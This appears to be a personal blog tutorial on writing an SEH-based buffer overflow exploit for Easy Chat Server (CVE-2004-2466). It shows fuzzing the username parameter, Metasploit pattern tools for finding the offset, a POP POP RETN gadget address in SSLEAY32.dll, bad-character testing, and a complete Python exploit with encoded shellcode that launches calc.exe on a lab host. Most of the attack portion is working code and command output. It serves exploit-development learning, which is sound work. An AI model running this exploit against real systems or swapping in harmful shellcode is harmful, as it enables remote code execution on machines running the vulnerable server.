The following is an older Easy Chat Server Exploit for versions <3.1 (CVE-2004-2466). That said, this is a great example of utilizing SEH for exploit writing and reliability.
I did most of this a while ago, so if some of my notes/steps seem off, then I apologize.
The vulnerability in question is a simple stack based overflow in the username of a web-based chat server. While this mentions lower versions, here is the relevant CVE.
This post will cover finding the vulnerability, and exploiting it locally on a Windows host.
Exploit DB by superkojiman - if you want to skip right to the end, here is an already working exploit for Win7 and version 3.1.
CVE Details (CVE-2004-2466) - as mentioned above, here is the original CVE for this vulnerability.
Corelan SEH based exploits - a great tutorial on SEH exploits and how to build them..
Grey Corner SEH tutorial - while not specific to this vulnerability, still a great resource to have handy while learning SEH exploits.
Understanding SEH Exploitation - a slightly different technique and final exploit than shown here, but performed against the same target application.
Installation and Verification
For those of you wanting to follow along, you can download the same version that I used here.
As you can see, this is just a trial version of the software.
While the exploit works on versions up to at least 3.1, I performed this exploit on 2.5.
As you can see, installation is simple, and the web interface comes right up while the server is running.
Finding the vulnerability
To start, like vulnerabilities, we will need to actually find the vulnerability.
In this case, I sent a long list of "A"s to the username parameter.
As you can see, this actually crashed the application.
Running this same request through a debugger showed an access violation, which was a good sign.
Verifying that EIP was overwritten with 41414141 (AAAA), it seemed like an exploitable vulnerability was present.
Writing the Exploit - EIP Control
First, it was time to find the offset for the EIP overwrite.
root@kali:/usr/share/metasploit-framework/tools# ruby pattern_create.rb 1000 Aa0Aa1Aa...Bg9Bh0Bh1Bh2B
With a cyclical pattern in hand, I modified the request and restarted the debugger. Now, EIP was being overwritten with 68413168.
Pattern offset showed that this was 214 characters into the payload.
root@kali:/usr/share/metasploit-framework/tools# ruby pattern_offset.rb 68413168 10000 [*] Exact match at offset 214
To verify this, I also wrote the exploit framework in Python that I'd use for the rest of this process.
import socket buf = "\x41" * 214 buf += "\x42" * 4 buf += "\x43" * 100 head = "GET /chat.ghp?username="+buf+"&password=a&room=1 HTTP/1.1\r\n" head += "Host: 10.207.55.74\r\n" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('10.207.55.74',8123)) s.send(head + "\r\n\r\n") s.close()
It worked, and EIP was overwritten with 42424242!
Exploit - SEH Time
While it looks like we have control of EIP, I did mention earlier that this was an SEH exploit tutorial. After reaching the access violation, I hit Shift+F9 to pass the exception to the program.
To view the SEH chain of the application, I used the View -> SEH Chain option in OllyDbg. As you can see, the SEH handler has been overwritten with the "B"s from earlier.
Next up was to find a module with SafeSEH off. To do this, I used the OllySEH plugin.
In this case, I decided to start with SSLEAY32.dll since it was already loaded into memory and was less likely to have bad characters.
First, I opened up the executable modules and double clicked on the DLL.
Once the DLL was open in the debugger, it was time to search for a POP, POP, RETN sequence. The reason for using this gadget is best explained in the Corelan tutorial.
How exactly does the pop pop ret function when working with SEH based exploits?
When an exception occurs, the exception dispatcher creates its own stack frame. It will push elements from the EH Handler on to the newly created stack (as part of a function prologue). One of the fields in the EH Structure is the EstablisherFrame. This field points to the address of the exception registration record (the next SEH) that was pushed onto the program stack. This same address is also located at ESP+8 when the handler is called. Now if we overwrite the handler with the address of a pop pop ret sequence : * the first pop will take off 4 bytes from the stack * the second pop will take another 4 bytes from the stack * the ret will take the current value from the top of ESP ( = the address of the next SEH, which was at ESP+8, but because of the 2 pop’s now sits at the top of the stack) and puts that in EIP. We have overwritten the next SEH with some basic jumpcode (instead of an address), so the code gets executed. In fact, the next SEH field can be considered as the first part of our shellcode (jumpcode).
To find this gadget I right clicked inside of the CPU window and selected Search for -> Sequence of commands. Note that r32 is shorthand for any 32-bit register, since we don't care where our data gets popped.
The instructions were found at 0x10010FE7, so it looked like I was in business.
With the POP, POP, RETN located, it was time to modify my exploit. As you can see, I've updated the offset to include 4 bytes of 0xCCCCCCCC (interrupt) to verify control.
buf = "\x41" * 210 # offset - 4 bytes buf += "\xCC\xCC\xCC\xCC" # breakpoint buf += "\xE7\x0F\x01\x10" # pop pop retn from ssleay32 buf += "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" # junk to verify
Upon initial execution, the application hits the access violation, and I pass the exception on to the program. From here, EIP now points to 0x10010FE7 (the address of the POP, POP, RETN) from earlier.
Once I step one more time, the debugger hits my breakpoint at the start of the gadget!
Opening up the SEH chain again, the correct address was now being shown in the overwrite, with the breakpoint being set on it.
Stepping through the POP, POP, RETN brought me to my interrupts, so I knew that I had control of execution and the stack.
Getting a Working Payload
With everything in place, it was time to get an actual payload into my exploit.
First up, everyone's favorite chore, finding the bad characters! There are two things to note in my updated payload. The first is that I removed (0x00, 0x20, 0x0a, 0x0d) from the list since I knew they would be bad (GET request parameters). The second is my addition of the 8 byte short jump (\xEB\x06\x90\x90). The reason for this is so that the application can jump over where we landed (currently the short jump) and then the address of the POP, POP, RETN.
buf = "\x41" * 210 # offset buf += "\xEB\x06\x90\x90" # jump 8 bytes buf += "\xE7\x0F\x01\x10" # pop pop retn from ssleay32 buf += "\x90" * 16 # NOP sled buf += ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11" + "\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" + "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" + "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e" + "\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d" + "\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c" + "\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b" + "\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a" + "\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89" + "\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98" + "\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7" + "\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6" + "\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5" + "\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4" + "\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3" + "\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2" + "\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
There looked like there were no other bad characters in the application, so that was good news.
That said, this is where things got a little weird based on my inexperience. First, I took the win-exec-calc shellcode and my Binary to Hex converter and got some working calc shellcode. Then, I took that hex shellcode and wrote it to a file (yes, that would just create the binary that I already had). Finally, I used msfencode and the x86/alpha_mixed encoder to convert this new binary to encoded python shellcode.
root@kali:~# msfencode -e x86/alpha_mixed -b '\x00\x0a\x0d\x20' -i calc.bin -t python [!] ************************************************************************ [!] * The utility msfencode is deprecated! * [!] * It will be removed on or about 2015-06-08 *
I'm honestly not sure what past me was thinking, but I'd definitely do this differently today. Now I would just use msfvenom, a windows/exec cmd=calc.exe payload, and something like shikata_ga_nai just to get rid of the bad characters.
That said, once I had everything in place, this was my final exploit.
import socket buf = "\x41" * 210 # offset buf += "\xEB\x06\x90\x90" # jump 6 bytes buf += "\xE7\x0F\x01\x10" # pop pop retn from ssleay32 buf += "\x90" * 16 # NOP sled # win-exec-calc shellcode, x86/alpha_mixed encoded buf += "\x89\xe6\xdb\xc2\xd9\x76\xf4\x59\x49\x49\x49\x49\x49" buf += "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37" buf += "\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41" buf += "\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58" buf += "\x50\x38\x41\x42\x75\x4a\x49\x66\x51\x6a\x69\x61\x59" buf += "\x46\x51\x6b\x62\x6d\x33\x32\x67\x33\x62\x51\x78\x73" buf += "\x53\x51\x71\x70\x6c\x43\x53\x4d\x59\x4a\x46\x43\x62" buf += "\x42\x76\x55\x34\x6e\x6b\x74\x32\x34\x70\x4e\x6b\x72" buf += "\x56\x34\x4c\x4c\x4b\x51\x66\x36\x6c\x6e\x4d\x4e\x6b" buf += "\x56\x50\x4c\x4b\x53\x4e\x62\x38\x4e\x6b\x73\x6f\x47" buf += "\x4c\x6c\x4b\x51\x4c\x45\x4f\x63\x48\x4c\x4b\x74\x34" buf += "\x55\x4f\x61\x30\x55\x51\x69\x6e\x6e\x6b\x62\x6c\x35" buf += "\x4f\x76\x44\x65\x51\x69\x69\x34\x4f\x68\x37\x44\x6c" buf += "\x63\x61\x71\x52\x4e\x4d\x6b\x31\x57\x4c\x73\x37\x51" buf += "\x47\x45\x39\x70\x6e\x32\x65\x50\x75\x39\x61\x4c\x4b" buf += "\x32\x54\x67\x6f\x67\x6c\x33\x31\x69\x6e\x43\x33\x37" buf += "\x4c\x4c\x6e\x4b\x4f\x4a\x77\x31\x7a\x65\x30\x51\x4a" buf += "\x35\x38\x43\x53\x30\x61\x72\x4c\x30\x63\x52\x74\x30" buf += "\x59\x73\x78\x6e\x63\x68\x6c\x71\x38\x62\x45\x72\x68" buf += "\x4e\x6b\x70\x32\x62\x68\x4e\x6b\x34\x36\x57\x68\x52" buf += "\x68\x4e\x6b\x61\x66\x46\x70\x50\x48\x6e\x4d\x57\x38" buf += "\x4c\x4b\x34\x70\x43\x78\x4c\x4b\x31\x6e\x66\x50\x34" buf += "\x43\x70\x57\x37\x4c\x6e\x6b\x33\x6c\x46\x77\x61\x38" buf += "\x6e\x6b\x44\x34\x35\x4f\x37\x50\x71\x58\x45\x51\x4b" buf += "\x4e\x6c\x4b\x56\x34\x67\x6f\x56\x44\x66\x6f\x6d\x67" buf += "\x36\x4c\x76\x77\x4c\x4d\x53\x62\x56\x62\x4e\x4d\x4d" buf += "\x51\x35\x6c\x37\x77\x61\x47\x32\x49\x52\x4e\x37\x35" buf += "\x52\x55\x58\x6f\x6e\x6b\x74\x34\x67\x6f\x57\x6c\x70" buf += "\x48\x57\x71\x39\x6e\x4e\x6b\x35\x64\x6c\x6e\x33\x78" buf += "\x63\x31\x4a\x57\x6a\x39\x69\x6f\x49\x47\x41\x41" head = "GET /chat.ghp?username="+buf+"&password="+buf+"&room=1 HTTP/1.1\r\n" head += "Host: 10.207.55.74\r\n" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('10.207.55.74',8123)) s.send(head + "\r\n\r\n") s.close()
When I ran this against the target application, I got my crash and my calculator!
Easy Chat Server Exploit - Conclusion
This was a fun exercise, and my first foray into writing SEH based exploits. That said, I initially thought that SEH was a type of vulnerability, not a method of exploit writing. Once I understood that, things became a bit clearer and easier. Other than that, it was funny to look back over a few of the mistakes and gaffes I made.
Hopefully you learned something from this, and maybe I'll update my exploit and add it to my Github or Exploit DB page.
Other than that, be on the lookout for more exploit development posts soon!